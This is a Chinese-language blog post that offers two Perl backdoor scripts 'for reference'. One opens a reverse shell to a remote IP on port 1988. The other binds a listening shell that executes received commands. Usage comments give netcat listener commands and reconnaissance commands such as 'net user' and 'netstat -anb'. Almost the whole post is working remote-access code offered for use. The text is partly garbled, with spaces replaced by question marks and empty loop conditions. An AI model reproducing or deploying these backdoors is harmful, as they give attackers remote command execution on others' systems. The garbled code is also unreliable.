寫過很多關于Perl編程，今天繼續分享一篇利用perl后門實現正向和反向連接的實例代碼，需要的朋友可以參考下其中的內容詳情。

?反向連接代碼：
?1.?#!/usr/bin/perl?
?2.?#usage:?
?3.?#nc?-vv?-l?-p?PORT(default?1988)?on?your?local?system?first,then?
?4.?#Perl?$0?Remote?IP(default?127.0.0.1)?Remote_port(default?1988)?
?5.?#Type?'exit'?to?exit?or?press?Enter?to?gain?shell?when?u?under?the?'console'.?
?6.?#nc?-vv?-l?-p?1988?
?7.?#perl?backdoor.pl?127.0.0.1?1988?
?8.?
?9.?#use?strict;?
?10.?use?Socket;?
?11.?use?IO::Socket;?
?12.?use?Cwd;?
?13.?use?IO::Handle;?
?14.?my?$remote?=?$ARGV[0]||?"127.0.0.1";?
?15.?my?$remote_port?=?$ARGV[1]||?1988;?
?16.?my?$pack_addr?=?sockaddr_in(?$remote_port,?inet_aton($remote));?
?17.?my?$path?=?cwd();?
?18.?$ARGC?=?@ARGV;?
?19.?if?($ARGV[0]!~/-/)?
?20.?{?
?21.?socket(SOCKET,?PF_INET,?SOCK_STREAM,getprotobyname('tcp'))?or?die?"socket?error:?";?
?22.?STDOUT->autoflush(1);?
?23.?SOCKET->autoflush(1);?
?24.?$conn=connect(SOCKET,$pack_addr)||die?"connection?error?:?$!";?
?25.?open?STDIN,">&SOCKET";?
?26.?open?STDOUT,">&SOCKET";?
?27.?open?STDERR,">&SOCKET";?
?28.?print?"You?are?in?$path/n";?
?29.?print?"Welcome?to?use./n";?
?30.?print?"console>/n";?
?31.?
?32.?while?()?{?
?33.?chomp;?
?34.?if(?lc($_)?eq?'exit'?)?{?
?35.?print?"?Bye?Bye!";?
?36.?exit;?
?37.?}?
?38.?$msg=system($_);?
?39.?if($msg){?
?40.?print?STDOUT?"/n$msg/n";?
?41.?print?STDOUT?"console>";?
?42.?}else?
?43.?{?
?44.?print?"console>";?
?45.?}?
?46.?}?
?47.?close?SOCKET;?
?48.?exit;?
?49.?}?
正向連接代碼：
?1.?#!/usr/bin/perl?
?2.?#ActivePerl?5.8.8?Build?822?
?3.?#usage:?
?4.?#first:perl?backdoor2c.pl?
?5.?#second:nc?-vv?127.0.0.1?1988?
?6.?#net?user?
?7.?#ipconfig?/all?
?8.?#netstat?-anb?
?9.?use?IO::Socket;?
?10.?$port?=?"1988";?
?11.?my?$socket?=?new?IO::Socket::INET?(?'Localhost'=>'127.0.0.1'?,?
?12.?'LocalPort'=>$port?,?
?13.?'Listen'=>1?,?
?14.?'Proto'=>'tcp'?,?
?15.?'Reuse'=>1?);?
?16.?die?"Reason:?$!"?unless?$socket;?
?17.?while?(my?$new_socket?=?$socket->accept())?{?
?18.?while?(my?$buffer=?){?
?19.?if?($buffer=~/exit/)?{exit;}?
?20.?$res_msg=`$buffer`;?
?21.?print?$new_socket?"$res_msg/ncmd>";?
?22.?}}?

以上就是關于利用perl后門實現正向和反向連接的實例代碼，希望本文所述對大家有所幫助，更多相關內容請繼續關注武林技術頻道。